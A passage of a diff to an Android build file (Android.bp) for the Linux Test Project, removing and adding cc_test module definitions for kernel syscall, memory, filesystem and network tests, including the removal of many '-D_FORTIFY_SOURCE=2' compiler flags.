-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setgroups02",
-    stem: "setgroups02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setgroups/setgroups02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setgroups",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftest01",
-    stem: "ftest01",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/fs/ftest/libftest.c",
-        "testcases/kernel/fs/ftest/ftest01.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftest02",
-    stem: "ftest02",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/fs/ftest/ftest02.c",
-        "testcases/kernel/fs/ftest/libftest.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_diotest1",
-    stem: "diotest1",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/io/direct_io/diotest1.c",
-        "testcases/kernel/io/direct_io/diotest_routines.c",
-    ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-        "-DSHARED_OFILE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl11_64",
-    stem: "fcntl11_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl11.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftest08",
-    stem: "ftest08",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/fs/ftest/libftest.c",
-        "testcases/kernel/fs/ftest/ftest08.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_diotest5",
-    stem: "diotest5",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/io/direct_io/diotest_routines.c",
-        "testcases/kernel/io/direct_io/diotest5.c",
-    ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-        "-DSHARED_OFILE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_diotest6",
-    stem: "diotest6",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/io/direct_io/diotest6.c",
-        "testcases/kernel/io/direct_io/diotest_routines.c",
-    ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-        "-DSHARED_OFILE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_testsf_c6",
-    stem: "testsf_c6",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/tcp_cmds/sendfile/testsf_c.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DINET6",
-    ],
-    local_include_dirs: [
-        "include/old",
-        "testcases/network/tcp_cmds/include",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile06_64",
-    stem: "sendfile06_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile06.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-        "-DOFF_T=off64_t",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/sendfile",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_move_pages12",
-    stem: "move_pages12",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/move_pages/move_pages12.c",
+        "testcases/kernel/syscalls/move_pages/move_pages09.c",
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -15021,7 +8805,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages10.c",
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -15041,7 +8824,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
         "testcases/kernel/syscalls/move_pages/move_pages11.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -15054,61 +8836,1119 @@
 }
 
 cc_test {
-    name: "ltp_input06",
-    stem: "input06",
+    name: "ltp_move_pages12",
+    stem: "move_pages12",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/kernel/input/input_helper.c",
-        "testcases/kernel/input/input06.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_input02",
-    stem: "input02",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/input/input_helper.c",
-        "testcases/kernel/input/input02.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_statfs01_64",
-    stem: "statfs01_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/statfs/statfs01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
+        "testcases/kernel/syscalls/move_pages/move_pages12.c",
+        "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
     local_include_dirs: [
+        "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
         "include/old",
-        "testcases/kernel/syscalls/statfs",
+    ],
+    static_libs: [
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_mprotect01",
+    stem: "mprotect01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mprotect/mprotect01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mprotect02",
+    stem: "mprotect02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mprotect/mprotect02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mprotect03",
+    stem: "mprotect03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mprotect/mprotect03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mprotect04",
+    stem: "mprotect04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mprotect/mprotect04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mremap01",
+    stem: "mremap01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mremap/mremap01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_mremap02",
+    stem: "mremap02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mremap/mremap02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_mremap03",
+    stem: "mremap03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mremap/mremap03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_mremap05",
+    stem: "mremap05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mremap/mremap05.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/ipc/lib",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_ipc",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_msync01",
+    stem: "msync01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/msync/msync01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_msync02",
+    stem: "msync02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/msync/msync02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_msync03",
+    stem: "msync03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/msync/msync03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_msync04",
+    stem: "msync04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/msync/msync04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_mtest01",
+    stem: "mtest01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/mtest01/mtest01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_munlock01",
+    stem: "munlock01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/munlock/munlock01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_munlock02",
+    stem: "munlock02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/munlock/munlock02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_munlockall01",
+    stem: "munlockall01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/munlockall/munlockall01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_munmap01",
+    stem: "munmap01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/munmap/munmap01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_munmap02",
+    stem: "munmap02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/munmap/munmap02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_munmap03",
+    stem: "munmap03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/munmap/munmap03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nanosleep01",
+    stem: "nanosleep01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/nanosleep/nanosleep01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nanosleep02",
+    stem: "nanosleep02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/nanosleep/nanosleep02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nanosleep03",
+    stem: "nanosleep03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/nanosleep/nanosleep03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nanosleep04",
+    stem: "nanosleep04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/nanosleep/nanosleep04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_netstress",
+    stem: "netstress",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/netstress/netstress.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_newns",
+    stem: "newns",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/tomoyo/newns.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_newuname01",
+    stem: "newuname01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/newuname/newuname01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nextafter01",
+    stem: "nextafter01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/nextafter/nextafter01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nfs01_open_files",
+    stem: "nfs01_open_files",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/nfs/nfs_stress/nfs01_open_files.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nfs04_create_file",
+    stem: "nfs04_create_file",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/nfs/nfs_stress/nfs04_create_file.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-D_LARGEFILE_SOURCE",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nfs05_make_tree",
+    stem: "nfs05_make_tree",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/nfs/nfs_stress/nfs05_make_tree.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nfs_flock",
+    stem: "nfs_flock",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/nfs/nfslock01/nfs_flock_func.c",
+        "testcases/network/nfs/nfslock01/nfs_flock.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_nfs_flock_dgen",
+    stem: "nfs_flock_dgen",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/nfs/nfslock01/nfs_flock_func.c",
+        "testcases/network/nfs/nfslock01/nfs_flock_dgen.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_nftw01",
+    stem: "nftw01",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/nftw/tools.c",
+        "testcases/kernel/syscalls/nftw/lib.c",
+        "testcases/kernel/syscalls/nftw/test.c",
+        "testcases/kernel/syscalls/nftw/nftw.c",
+        "testcases/kernel/syscalls/nftw/test_func.c",
+    ],
+    cflags: [
+        "-D_LARGEFILE_SOURCE",
+        "-D_XOPEN_SOURCE_EXTENDED",
+        "-D_XOPEN_SOURCE=500",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nftw6401",
+    stem: "nftw6401",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/nftw/tools64.c",
+        "testcases/kernel/syscalls/nftw/nftw64.c",
+        "testcases/kernel/syscalls/nftw/lib64.c",
+        "testcases/kernel/syscalls/nftw/test64.c",
+        "testcases/kernel/syscalls/nftw/test_func64.c",
+    ],
+    cflags: [
+        "-D_LARGEFILE64_SOURCE",
+        "-D_XOPEN_SOURCE_EXTENDED",
+        "-D_XOPEN_SOURCE=500",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nice01",
+    stem: "nice01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/nice/nice01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nice02",
+    stem: "nice02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/nice/nice02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nice03",
+    stem: "nice03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/nice/nice03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nice04",
+    stem: "nice04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/nice/nice04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_nptl01",
+    stem: "nptl01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/sched/nptl/nptl01.c"],
+    cflags: ["-DUSING_NPTL"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ns-icmp_redirector",
+    stem: "ns-icmp_redirector",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-icmp_redirector.c",
+        "testcases/network/stress/ns-tools/ns-common.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ns-icmpv4_sender",
+    stem: "ns-icmpv4_sender",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-common.c",
+        "testcases/network/stress/ns-tools/ns-icmpv4_sender.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ns-icmpv6_sender",
+    stem: "ns-icmpv6_sender",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-common.c",
+        "testcases/network/stress/ns-tools/ns-icmpv6_sender.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ns-igmp_querier",
+    stem: "ns-igmp_querier",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-common.c",
+        "testcases/network/stress/ns-tools/ns-igmp_querier.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ns-mcast_join",
+    stem: "ns-mcast_join",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-common.c",
+        "testcases/network/stress/ns-tools/ns-mcast_join.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ns-mcast_receiver",
+    stem: "ns-mcast_receiver",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-common.c",
+        "testcases/network/stress/ns-tools/ns-mcast_receiver.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ns-tcpclient",
+    stem: "ns-tcpclient",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-common.c",
+        "testcases/network/stress/ns-tools/ns-tcpclient.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ns-tcpserver",
+    stem: "ns-tcpserver",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-common.c",
+        "testcases/network/stress/ns-tools/ns-tcpserver.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ns-udpclient",
+    stem: "ns-udpclient",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-common.c",
+        "testcases/network/stress/ns-tools/ns-udpclient.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ns-udpsender",
+    stem: "ns-udpsender",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-udpsender.c",
+        "testcases/network/stress/ns-tools/ns-common.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ns-udpserver",
+    stem: "ns-udpserver",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-common.c",
+        "testcases/network/stress/ns-tools/ns-udpserver.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_nsclone",
+    stem: "nsclone",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/fs_bind/bin/nsclone.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_oom01",
+    stem: "oom01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/oom/oom01.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_oom02",
+    stem: "oom02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/oom/oom02.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_oom03",
+    stem: "oom03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/oom/oom03.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_oom04",
+    stem: "oom04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/oom/oom04.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_oom05",
+    stem: "oom05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/oom/oom05.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_open01",
+    stem: "open01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open02",
+    stem: "open02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open03",
+    stem: "open03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open04",
+    stem: "open04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open05",
+    stem: "open05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open06",
+    stem: "open06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open07",
+    stem: "open07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open08",
+    stem: "open08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open09",
+    stem: "open09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open10",
+    stem: "open10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open10.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open11",
+    stem: "open11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open12_child",
+    stem: "open12_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open12_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open13",
+    stem: "open13",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open13.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_open14",
+    stem: "open14",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/open/open14.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_openat01",
+    stem: "openat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/openat/openat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_openat02_child",
+    stem: "openat02_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/openat/openat02_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_openat03",
+    stem: "openat03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/openat/openat03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_openfile",
+    stem: "openfile",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/openfile/openfile.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_overcommit_memory",
+    stem: "overcommit_memory",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/tunable/overcommit_memory.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_page01",
+    stem: "page01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/page/page01.c"],
+    cflags: ["-DLINUX"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_page02",
+    stem: "page02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/page/page02.c"],
+    cflags: ["-DLINUX"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pathconf01",
+    stem: "pathconf01",
+    defaults: ["ltp_test_defaults"],
